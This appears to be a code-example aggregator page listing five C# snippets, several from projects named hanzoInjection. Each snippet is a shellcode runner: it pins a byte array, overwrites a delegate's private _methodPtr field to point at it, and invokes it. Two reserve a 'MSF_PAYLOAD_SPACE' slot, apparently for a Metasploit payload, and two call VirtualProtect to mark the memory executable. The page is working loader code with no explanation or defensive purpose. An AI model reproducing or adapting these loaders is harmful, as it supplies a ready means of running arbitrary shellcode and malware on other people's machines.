コード例 #1
0
        unsafe static void Main(string[] args)
        {
            string shellcode = "MSF_PAYLOAD_SPACE";

            byte[] asmBytes = new byte[shellcode.Length];
            for (int i = 0; i < shellcode.Length; i++)
            {
                asmBytes[i] = Convert.ToByte(shellcode[i]);
            }

            fixed(byte *startAddress = &asmBytes[0])     // Take the address of our x86 code
            {
                // Get the FieldInfo for "_methodPtr"
                Type      delType    = typeof(Delegate);
                FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);

                // Set our delegate to our x86 code
                Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);

                _methodPtr.SetValue(del, (IntPtr)startAddress);

                // Enjoy
                uint n = (uint)0xdecafbad;

                n = del(n);
                Console.WriteLine("{0:x}", n);
            }
        }
コード例 #2
0
    unsafe static void Main(string[] args)
    {
        fixed(byte *startAddress = &asmBytes[0])         // Take the address of our x86 code
        {
            // Get the FieldInfo for "_methodPtr"
            Type      delType    = typeof(Delegate);
            FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
            // Set our delegate to our x86 code
            Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);

            _methodPtr.SetValue(del, (IntPtr)startAddress);
            // Enjoy
            uint n = (uint)0xFFFFFFFC;

            n = del(n);
            Console.WriteLine("{0:x}", n);
        }
    }
コード例 #3
0
ファイル: Program.cs プロジェクト: 5l1v3r1/hanzoInjection-1
        unsafe public static void executar(byte[] asmBytes)
        {
            fixed(byte *Endereco_incial = &asmBytes[0])
            {
                // pegando feildinfo do método "_methodPtr"
                Type      delType    = typeof(Delegate);
                FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic |
                                                        BindingFlags.Instance);
                // ret delegaete
                Ret1ArgDelegate Retorno_del = new Ret1ArgDelegate(PlaceHolder1);

                _methodPtr.SetValue(Retorno_del, (IntPtr)Endereco_incial);
                uint protecao_memoria;

                VirtualProtect((IntPtr)Endereco_incial, (uint)asmBytes.Length, 0x40, out protecao_memoria);
                // exetutar shellcode
                uint n_executar = (uint)0x00000001;

                n_executar = Retorno_del(n_executar);
                Console.WriteLine("{0:x}", n_executar);
            }
        }
コード例 #4
0
        static unsafe void Main(string[] args)
        {
            string shellcode = "MSF_PAYLOAD_SPACE";
            byte[] asmBytes = new byte[shellcode.Length];
            for (int i = 0; i < shellcode.Length; i++)
            {
                asmBytes[i] = Convert.ToByte(shellcode[i]);
            }
            fixed(byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
            {
                // Get the FieldInfo for "_methodPtr"
                Type delType = typeof(Delegate);
                FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);

                // Set our delegate to our x86 code
                Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
                _methodPtr.SetValue(del, (IntPtr)startAddress);

                // Enjoy
                uint n = (uint)0xdecafbad;
                n = del(n);
                Console.WriteLine("{0:x}", n);
            }
        }
コード例 #5
0
ファイル: Program.cs プロジェクト: volt72/hanzoInjection
        unsafe public static void executar(byte[] asmBytes)
        {
            fixed (byte* Endereco_incial = &asmBytes[0]) 
            {
                // pegando feildinfo do método "_methodPtr"
                Type delType = typeof(Delegate);
                FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic |
               BindingFlags.Instance);
                // ret delegaete
                Ret1ArgDelegate Retorno_del = new Ret1ArgDelegate(PlaceHolder1);
                _methodPtr.SetValue(Retorno_del, (IntPtr)Endereco_incial);
                //desabilitar a proteção 
                uint protecao_memoria;
                VirtualProtect((IntPtr)Endereco_incial, (uint)asmBytes.Length, 0x40, out protecao_memoria);
                // exetutar shellcode
                uint n_executar = (uint)0x00000001;
                n_executar = Retorno_del(n_executar);
                Console.WriteLine("{0:x}", n_executar);
            }

        }